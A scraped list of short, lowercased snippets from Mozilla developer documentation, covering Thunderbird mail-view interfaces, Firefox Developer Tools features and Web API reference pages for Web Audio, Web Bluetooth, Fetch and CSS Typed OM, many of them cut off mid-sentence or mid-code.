for example to move forward a message, you would call: // assuming gdbview is a global nsimsgdbview var resultid = new object(); var resultindex = new object(); var threadindex = new object(); gdbview.viewnavigate(components.interfaces.nsmsgnavigationtype.nextmessage, resultid, resultindex, threadindex, true); the nsmsgnavigationtype interface is defined as a global variable in thunderbird: var nsmsgviewcommandtype = components.interfaces.nsmsgviewcommandtype; mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
nsMsgViewCommandCheckState
it is (as far as i can tell) not currently used anywhere in thunderbird.
nsMsgViewCommandType
for example to mark a message read, you would call: // assuming gdbview is a global nsimsgdbview gdbview.docommand(components.interfaces.nsmsgviewcommandtype.markmessagesread); mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
nsMsgViewSortType
last changed in gecko 1.9 (firefox 3) constants name value description bynone 0x11 not sorted bydate 0x12 bysubject 0x13 byauthor 0x14 byid 0x15 bythread 0x16 bypriority 0x17 bystatus 0x18 bysize 0x19 byflagged 0x1a byunread 0x1b byrecipient 0x1c bylocation 0x1d bytags 0x1e byjunkstatus 0x1f byattachments 0x20 byaccount 0x21 bycustom 0x22 byreceived 0x23 ...
already_AddRefed
in fact, it is preferred to use already_addrefed in this case over returning a raw pointer or nscomptr (see the nscomptr user manual).
Message Interfaces
it can be used to retrieve address, subject and related header information for a mail message.
Thunderbird API documentation
activity manager address book sync client design buddy icons in mail composition composition back end in mail cached compose window faq filelink providers new!
Access Thunderbird Window Areas
to access particular parts of the thunderbird window you can use these helper methods.
Add Toolbar Button
example xul overlay file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Detect Opening Folder
to do this you need to capture the select event of the folder [[xul:tree|tree]] whose id is (conveniently) foldertree like so: window.document.getelementbyid('foldertree').addeventlistener("select", testcolumns, false); ...
Modify Folder Pane Display
see https://addons.mozilla.org/thu...er-categories/ for an example.
Using MAPI with Thunderbird's Windows 7 developer builds
mapi (messaging application programming interface) is a windows feature that allows applications to send files via a system's default mail application.
Httpd.js
this page was auto-generated because a user created a sub-page to this page.
Examples
lightweight bridge for calling cocoa frameworks from javascript, js-macosx transparently handles definition of cocoa api, both c and objective-c, and provides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing cocoa classes.
The Web Developer Menu - Firefox Developer Tools
on os x and linux, it's under the "tools" menu: on windows 7, it's under the "firefox" menu: you'll see that the menu is split into three sections: the first section lists tools that are hosted in the toolbox, which is a dedicated window for developer tools the second section lists integrated tools that are not hosted in the toolbox, as well as any tools installed as add-ons (you'll see in the windows screenshot above that i've installed the firefox os simulator) the third section, "get more tools", is a link to more web development add-ons for firefox ...
Breaking on exceptions - Firefox Developer Tools
to instruct the debugger to pause on an exception, tick these checkboxes in the breakpoints list: pause on exceptions pause on caught exceptions when an exception occurs, the line where it occurs is highlighted in the source pane, with a squiggly red line under the problematic code.
Debugger keyboard shortcuts - Firefox Developer Tools
from firefox 66 and later, this is no longer the case.
Eyedropper - Firefox Developer Tools
underneath the magnifying glass it shows the color value for the current pixel using whichever scheme you've selected in settings > inspector > default color unit: you can use it in one of two ways: to select a color from the page and copy it to the clipboard to change a color value in the inspector's rules view to a color you've selected from the page copying a color to the clipboard open the eyedropper in one of these two ways: select "eyedropper" under the "web developer" menu open the page inspector tab and click the eyedropper button in its toolbar as you move the m...
Throttling - Firefox Developer Tools
the network monitor allows you to throttle your network speed to emulate various connection speeds so you can see how your app will behave under different connection types.
Examine and edit the box model - Firefox Developer Tools
pressed, if you hover over an element in the page, the box model for the element is shown overlaid on the page: it's also shown overlaid if you hover over an element's markup in the html pane: if the element is inline and is split over multiple line boxes, the highlighter shows each individual line box that together make up the element: the box model view when an element's selected, you can get a detailed look at the box model in the box model view: if you hover over a value, you'll see a tooltip telling you which rule the value comes from: if you hover over part of the box model in the box model view, the corresponding part of the page is highlighted: editing the box model you can also edit the values in the box model view, and see the results immediately in the page: ...
Open the Inspector - Firefox Developer Tools
the inspector will appear at the bottom of the browser window: you can also set the pane to appear at the left side of the browser window: to the right side of the browser window: or in a separate window: to start finding your way around the inspector, see the ui tour.
Use the Inspector from the Web Console - Firefox Developer Tools
the element that's currently selected in the page inspector can be referenced in the web console using the variable $0.
View background images - Firefox Developer Tools
in the rules view, you can see a preview of images specified using background-image.
How to - Firefox Developer Tools
links for various how to's can be found here.
Rulers - Firefox Developer Tools
you can overlay horizontal and vertical rulers on a web page: the units are in pixels.
Cookies - Firefox Developer Tools
you can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
IndexedDB - Firefox Developer Tools
you can delete an indexeddb database using the context menu in the storage tree: if the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the storage inspector: you can use the context menu in the table widget to delete all items in an object store, or a particular item: ...
Web console keyboard shortcuts - Firefox Developer Tools
+ e execute the current expression enter return enter add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions page up page up page up page down through autocomplete suggestions page down page down page ...
Working with iframes - Firefox Developer Tools
you can point the developer tools at a specific iframe within a document.
ANGLE_instanced_arrays.vertexAttribDivisorANGLE() - Web APIs
examples var ext = gl.getextension('angle_instanced_arrays'); ext.vertexattribdivisorangle(0, 2); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
AesKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aeskeygenparams' in that specification.
Ambient Light Sensor API - Web APIs
specifications specification status comment ambient light sensor candidate recommendation initial definition.
AnalyserNode.AnalyserNode() - Web APIs
specifications specification status comment web audio apithe definition of 'analysernode() constructor' in that specification.
Animation.finished - Web APIs
examples the following code waits until all animations running on the element elem have finished, then deletes the element from the dom tree: promise.all( elem.getanimations().map( function(animation) { return animation.finished } ) ).then( function() { return elem.remove(); } ); specifications specification status comment web animationsthe definition of 'animation.finished' in that specification.
Animation.timeline - Web APIs
examples here we set the animation's timeline to be the same as the document's timeline (this is the default timeline for all animations, by the way): animation.timeline = document.timeline; specifications specification status comment web animationsthe definition of 'animation.timeline' in that specification.
AnimationEffect.getTiming() - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect.gettiming()' in that specification.
AnimationEffect.updateTiming() - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect.updatetiming()' in that specification.
AnimationEvent.animationName - Web APIs
syntax name = animationevent.animationname specifications specification status comment css animationsthe definition of 'animationevent.animationname' in that specification.
AnimationEvent.pseudoElement - Web APIs
syntax name = animationevent.pseudoelement specifications specification status comment css animationsthe definition of 'animationevent.pseudoelement' in that specification.
AnimationPlaybackEvent.timelineTime - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent.timelinetime' in that specification.
AnimationPlaybackEvent - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent' in that specification.
AnimationTimeline - Web APIs
specifications specification status comment web animationsthe definition of 'animationtimeline' in that specification.
AudioBuffer.copyFromChannel() - Web APIs
var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray = new float32array(length); myarraybuffer.copyfromchannel(anotherarray, 1, 0); specification specification status comment web audio apithe definition of 'copyfromchannel' in that specification.
AudioBuffer.copyToChannel() - Web APIs
myarraybuffer.copytochannel (anotherarray,0,0); specification specification status comment web audio apithe definition of 'copytochannel' in that specification.
AudioBuffer.duration - Web APIs
l = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.duration); } specification specification status comment web audio apithe definition of 'duration' in that specification.
AudioBuffer.length - Web APIs
nnel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.length); } specification specification status comment web audio apithe definition of 'length' in that specification.
AudioBuffer.numberOfChannels - Web APIs
channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberofchannels); } specification specification status comment web audio apithe definition of 'numberofchannels' in that specification.
AudioBufferSourceNode.buffer - Web APIs
// this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; specifications specification status comment web audio apithe definition of 'buffer' in that specification.
AudioContext.createJavaScriptNode() - Web APIs
it controls the frequency of callbacks asking for a buffer refill.
AudioContext.outputLatency - Web APIs
example const audioctx = new audiocontext(); console.log(audioctx.outputlatency); specifications specification status comment web audio apithe definition of 'outputlatency' in that specification.
AudioNode.channelCount - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcount; specifications specification status comment web audio apithe definition of 'channelcount' in that specification.
AudioNode.context - Web APIs
WebAPIAudioNodecontext
example const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.context); // audiocontext console.log(oscillator.context === audioctx); // true specifications specification status comment web audio apithe definition of 'context' in that specification.
AudioNode.numberOfInputs - Web APIs
example const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofinputs); // 0 console.log(gainnode.numberofinputs); // 1 console.log(audioctx.destination.numberofinputs); // 1 specifications specification status comment web audio apithe definition of 'numberofinputs' in that specification.
AudioNode.numberOfOutputs - Web APIs
example const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofoutputs); // 1 console.log(gainnode.numberofoutputs); // 1 console.log(audioctx.destination.numberofoutputs); // 0 specifications specification status comment web audio apithe definition of 'numberofoutputs' in that specification.
AudioParam.defaultValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); const defaultval = gainnode.gain.defaultvalue; console.log(defaultval); // 1 console.log(defaultval === gainnode.gain.value); // true specifications specification status comment web audio apithe definition of 'defaultvalue' in that specification.
AudioParam.linearRampToValueAtTime() - Web APIs
ation gainnode.gain.setvalueattime(0, audioctx.currenttime); source.connect(gainnode); gainnode.connect(audioctx.destination); // set buttons to do something onclick linearrampplus.onclick = function() { gainnode.gain.linearramptovalueattime(1.0, audioctx.currenttime + 2); } linearrampminus.onclick = function() { gainnode.gain.linearramptovalueattime(0, audioctx.currenttime + 2); } specifications specification status comment web audio apithe definition of 'linearramptovalueattime' in that specification.
AudioParam.setValueAtTime() - Web APIs
node to the destination source.connect(gainnode); gainnode.connect(audioctx.destination); // set buttons to do something onclick targetattimeplus.onclick = function() { currgain += 0.25; gainnode.gain.setvalueattime(currgain, audioctx.currenttime + 1); } targetattimeminus.onclick = function() { currgain -= 0.25; gainnode.gain.setvalueattime(currgain, audioctx.currenttime + 1); } specifications specification status comment web audio apithe definition of 'setvalueattime' in that specification.
AudioTrack.sourceBuffer - Web APIs
specifications specification status comment media source extensionsthe definition of 'audiotrack: sourcebuffer' in that specification.
AudioTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('addtrack', (event) => { console.log(`audio track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onaddtrack = (event) => { console.log(`audio track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
AudioTrackList: removetrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('removetrack', (event) => { console.log(`audio track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onremovetrack = (event) => { console.log(`audio track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
AudioWorklet - Web APIs
specifications specification status comment web audio apithe definition of 'audioworklet' in that specification.
BaseAudioContext.createBiquadFilter() - Web APIs
ream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'createbiquadfilter()' in that specification.
BaseAudioContext.createConstantSource() - Web APIs
specifications specification status comment web audio apithe definition of 'createconstantsource()' in that specification.
BaseAudioContext.destination - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillatornode.connect(gainnode); gainnode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'destination' in that specification.
BaseAudioContext.state - Web APIs
audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'state' in that specification.
BeforeInstallPromptEvent.prompt() - Web APIs
example var istoosoon = true; window.addeventlistener("beforeinstallprompt", function(e) { if (istoosoon) { e.preventdefault(); // prevents prompt display // prompt later instead: settimeout(function() { istoosoon = false; e.prompt(); // throws if called more than once or default not prevented }, 10000); } // the event was re-dispatched in response to our request // ...
BeforeInstallPromptEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignmen...
BiquadFilterNode() - Web APIs
specifications specification status comment web audio apithe definition of 'biquadfilternode()' in that specification.
BiquadFilterNode.Q - Web APIs
rtion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.type = "peaking"; biquadfilter.frequency.value = 1000; biquadfilter.q.value = 100; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'q' in that specification.
BiquadFilterNode.detune - Web APIs
createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; specifications specification status comment web audio apithe definition of 'detune' in that specification.
BiquadFilterNode.frequency - Web APIs
odes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'frequency' in that specification.
Blob.size - Web APIs
WebAPIBlobsize
// fileinput is a htmlinputelement: <input type="file" multiple id="myfileinput"> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) var files = fileinput.files; for (var i = 0; i < files.length; i++) { console.log(files[i].name + " has a size of " + files[i].size + " bytes"); } specifications specification status comment file apithe definition of 'blob.size' in that specification.
BlobEvent.BlobEvent() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'blobevent: blobevent' in that specification.
BlobEvent.data - Web APIs
WebAPIBlobEventdata
syntax associatedblob = blobevent.data specifications specification status comment mediastream recordingthe definition of 'blobevent.data' in that specification.
Bluetooth.referringDevice - Web APIs
specifications specification status comment web bluetooththe definition of 'referringdevice' in that specification.
txPower - Web APIs
the txpower read-only property of the bluetoothadvertisingdata interface returns the transmission power at which the device is broadcasting, measured in dbm.
BluetoothAdvertisingData - Web APIs
bluetoothadvertisingdata.txpower read only returns the transmission power at which the device is broadcasting, measured in dbm.
BluetoothCharacteristicProperties.read - Web APIs
specifications specification status comment web bluetooththe definition of 'read' in that specification.
BluetoothCharacteristicProperties.reliableWrite - Web APIs
syntax var aboolean = bluetoothcharacteristicproperties.reliablewrite; value a boolean specifications specification status comment web bluetooththe definition of 'reliablewrite' in that specification.
BluetoothCharacteristicProperties.writableAuxiliaries - Web APIs
specifications specification status comment web bluetooththe definition of 'writableauxiliaries' in that specification.
BluetoothCharacteristicProperties.write - Web APIs
specifications specification status comment web bluetooththe definition of 'write' in that specification.
BluetoothCharacteristicProperties.writeWithoutResponse - Web APIs
specifications specification status comment web bluetooththe definition of 'authenticatedsignedwrites' in that specification.
BluetoothDevice.gatt - Web APIs
specifications specification status comment web bluetooththe definition of 'gattserver' in that specification.
id - Web APIs
specifications specification status comment web bluetooththe definition of 'id' in that specification.
BluetoothDevice.name - Web APIs
specifications specification status comment web bluetooththe definition of 'name' in that specification.
BluetoothDevice.paired - Web APIs
the bluetoothdevice.paired read-only property returns a boolean value indicating whether the device is paired with the system.
BluetoothRemoteGATTCharacteristic.getDescriptor() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdescriptor()' in that specification.
BluetoothRemoteGATTCharacteristic.getDescriptors() - Web APIs
specifications specification status comment web bluetooththe definition of 'getdescriptors()' in that specification.
BluetoothRemoteGATTCharacteristic.properties - Web APIs
specifications specification status comment web bluetooththe definition of 'properties' in that specification.
BluetoothRemoteGATTCharacteristic.service - Web APIs
specifications specification status comment web bluetooththe definition of 'service' in that specification.
BluetoothRemoteGATTCharacteristic.uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
BluetoothRemoteGATTCharacteristic.writeValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification.
characteristic - Web APIs
specifications specification status comment web bluetooththe definition of 'characteristic' in that specification.
uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
writeValue() - Web APIs
specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification.
BluetoothRemoteGATTServer.device - Web APIs
syntax var device = bluetoothremotegattserver.device specifications specification status comment web bluetooththe definition of 'device' in that specification.
BluetoothRemoteGATTServer.getPrimaryService() - Web APIs
specifications specification status comment web bluetooththe definition of 'getprimaryservice()' in that specification.
BluetoothRemoteGATTServer.getPrimaryServices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getprimaryservices()' in that specification.
device - Web APIs
specifications specification status comment web bluetooththe definition of 'device' in that specification.
getCharacteristic() - Web APIs
specifications specification status comment web bluetooththe definition of 'getcharacteristic()' in that specification.
getCharacteristics() - Web APIs
specifications specification status comment web bluetooththe definition of 'getcharacteristics()' in that specification.
getIncludedService() - Web APIs
specifications specification status comment web bluetooththe definition of 'getincludedservice()' in that specification.
getIncludedServices() - Web APIs
specifications specification status comment web bluetooththe definition of 'getincludedservices()' in that specification.
uuid - Web APIs
specifications specification status comment web bluetooththe definition of 'uuid' in that specification.
Body.blob() - Web APIs
WebAPIBodyblob
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification.
Body.text() - Web APIs
WebAPIBodytext
{ mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition of 'text()' in that specification.
ByteLengthQueuingStrategy.size() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'size' in that specification.
CSS numeric factory functions - Web APIs
// cssunitvalue {value: 50, unit: "vmax"} console.log( height.value ) // 50 console.log( height.unit ) // vmax in this example, we set the margin on our element using the css.px() factory function: myelement.attributestylemap.set('margin', css.px(40)); let currentmargin = myelement.attributestylemap.get('margin'); console.log(currentmargin.value, currentmargin.unit); // 40, 'px' specification specification status comment css object model (cssom)the definition of 'numeric factory functions' in that specification.
CSSGroupingRule - Web APIs
specification specification status comment css object model (cssom)the definition of 'cssgroupingrule' in that specification.
CSSImageValue - Web APIs
d-image from the stylemap and stringify it: // get the element const button = document.queryselector( 'button' ); // retrieve all computed styles with computedstylemap() const allcomputedstyles = button.computedstylemap(); // return the cssimagevalue example console.log( allcomputedstyles.get('background-image') ); console.log( allcomputedstyles.get('background-image').tostring() ); specifications specification status comment css typed om level 1the definition of 'cssimagevalue' in that specification.
CSSKeyframeRule - Web APIs
specification specification status comment css animationsthe definition of 'csskeyframerule' in that specification.
CSSKeyframesRule - Web APIs
specification specification status comment css animationsthe definition of 'csskeyframesrule' in that specification.
CSSKeywordValue.CSSKeywordValue() - Web APIs
splay: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSKeywordValue.value - Web APIs
let indicator = document.getelementbyid('indicator'); indicator.attributestylemap.set('display', new csskeywordvalue('initial')); indicator.attributestylemap.get('display').value // 'initial' specifications specification status comment css typed om level 1the definition of 'undefined' in that specification.
CSSKeywordValue - Web APIs
#myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSMathProduct.CSSMathProduct() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathproduct()' in that specification.
CSSNamespaceRule.namespaceURI - Web APIs
specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification.
CSSNamespaceRule.prefix - Web APIs
specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification.
CSSNamespaceRule - Web APIs
it has no specific methods: specification specification status comment css object model (cssom)the definition of 'cssnamespacerule' in that specification.
CSSNumericValue.parse() - Web APIs
let numvalue = cssnumericvalue.parse("42.0px"); specifications specification status comment css typed om level 1the definition of 'parse' in that specification.
CSSNumericValue.type - Web APIs
examples let mathsum = css.px("23").sub(css.percent("4")).sub(css.cm("3")).sub(css.in("9")); // returns an object with the structure: {length: 1, percenthint: "length"} let cssnumerictype = mathsum.type(); specifications specification status comment css typed om level 1the definition of 'type' in that specification.
CSSPositionValue.CSSPositionValue() - Web APIs
y a position along the web page's vertical axix.
CSSPositionValue.y - Web APIs
the y property of the csspositionvalue interface returns the item's position along the vertical axis.
CSSPositionValue - Web APIs
csspositionvalue.y returns the item's position along the vertical axis.
CSSPrimitiveValue.getStringValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("display"); console.log(cssvalue.getstringvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getstringvalue' in that specification.
CSSPseudoElement.element - Web APIs
element.parentelement === originatingelement); // outputs false console.log(myelement.lastelementchild === csspseudoelement); // outputs false console.log(myelement.lastchild === csspseudoelement); // outputs false console.log(myelement.nextelementsibling === csspseudoelement); // outputs false console.log(myelement.nextsibling === csspseudoelement); // outputs false specifications specification status comment css pseudo-elements level 4the definition of 'element' in that specification.
CSSPseudoElement.type - Web APIs
fore" "::after" "::marker" examples the example below demonstrates the relationship between csspseudoelement.type and element.pseudo(): const myelement = document.queryselector('q'); const myselector = '::after'; const csspseudoelement = myelement.pseudo(myselector); const typeofpseudoelement = csspseudoelement.type; console.log(myselector === typeofpseudoelement); // outputs true specifications specification status comment css pseudo-elements level 4the definition of 'type' in that specification.
CSSRule.parentStyleSheet - Web APIs
} specifications specification status comment css object model (cssom)the definition of 'cssrule: parentstylesheet' in that specification.
CSSStyleDeclaration.getPropertyCSSValue() - Web APIs
example the following javascript code gets an object containing the computed rgb values of the color css property: var style = window.getcomputedstyle(elem, null); var rgbobj = style.getpropertycssvalue('color').getrgbcolorvalue(); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleRule.styleMap - Web APIs
specifications specification status comment css typed om level 1the definition of 'stylemap' in that specification.
CSSStyleSheet.ownerRule - Web APIs
nt.stylesheets[0].cssrules; for (let rule of rulelist) { if (!rule.ownerrule) { /* rule is not imported */ } } this snipped obtains a reference to the stylesheet associated with the @import and processes it in some manner: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (rule.ownerrule) { checkstylesheet(rule.ownerrule.stylesheet); } } specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.ownerrule' in that specification.
CSSStyleValue.parse() - Web APIs
const css = cssstylevalue.parse( 'transform', 'translate3d(10px,10px,0) scale(0.5)'); csstransformvalue {0: csstranslate, 1: cssscale, length: 2, is2d: false} specifications specification status comment css typed om level 1the definition of 'parse()' in that specification.
CSSStyleValue.parseAll() - Web APIs
specifications specification status comment css typed om level 1the definition of 'parseall()' in that specification.
CSSStyleValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssstylevalue' in that specification.
CSSUnparsedValue.CSSUnparsedValue() - Web APIs
examples let value = new cssunparsedvalue( ['4deg'] ), values = new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( value ); // cssunparsedvalue {0: "4deg", length: 1} console.log( values ); // cssunparsedvalue {0: "1em", 1: "#445566", 2: "-45px", length: 3} specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification.
CSSUnparsedValue.entries() - Web APIs
specifications specification status comment css typed om level 1the definition of 'entries()' in that specification.
CSSUnparsedValue.keys() - Web APIs
specifications specification status comment css typed om level 1the definition of 'keys()' in that specification.
CSSUnparsedValue.length - Web APIs
examples in this example we employ the cssunparsedvalue.cssunparsedvalue() constructor, then query the length: let values = new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( values.length ) // 3 specifications specification status comment css typed om level 1the definition of 'length' in that specification.
CSSUnparsedValue.values() - Web APIs
specifications specification status comment css typed om level 1the definition of 'values()' in that specification.
CSSUnparsedValue - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification.
CSSValue.cssText - Web APIs
WebAPICSSValuecssText
example var styledeclaration = document.stylesheets[0].cssrules[0].style; var cssvalue = styledeclaration.getpropertycssvalue("color"); console.log(cssvalue.csstext); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue.csstext' in that specification.
CSSValueList.item() - Web APIs
WebAPICSSValueListitem
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvaluelist.item' in that specification.
CSSValueList.length - Web APIs
specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvaluelist.length' in that specification.
CSSVariableReferenceValue() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssvariablereferencevalue()' in that specification.
CSSVariableReferenceValue.fallback - Web APIs
specifications specification status comment css typed om level 1the definition of 'fallback' in that specification.
CSSVariableReferenceValue.variable - Web APIs
specifications specification status comment css typed om level 1the definition of 'variable' in that specification.
CSS Properties and Values API - Web APIs
examples the following uses css.registerproperty in javascript to type a css custom properties, --my-color, as a color, give it a default value, and not allow it to inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); the same registration can take place in css using the following @property: @property --my-color { syntax: '<color>'; inherits: false; initial-value: #c0ffee; } specifications specification status comment css properties and values api level 1 working draft initial definition.
ChannelMergerNode() - Web APIs
example var ac = new audiocontext(); var options = { numberofinputs : 2 } var mymerger = new channelmergernode(ac, options); specifications specification status comment web audio apithe definition of 'channelmergernode' in that specification.
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
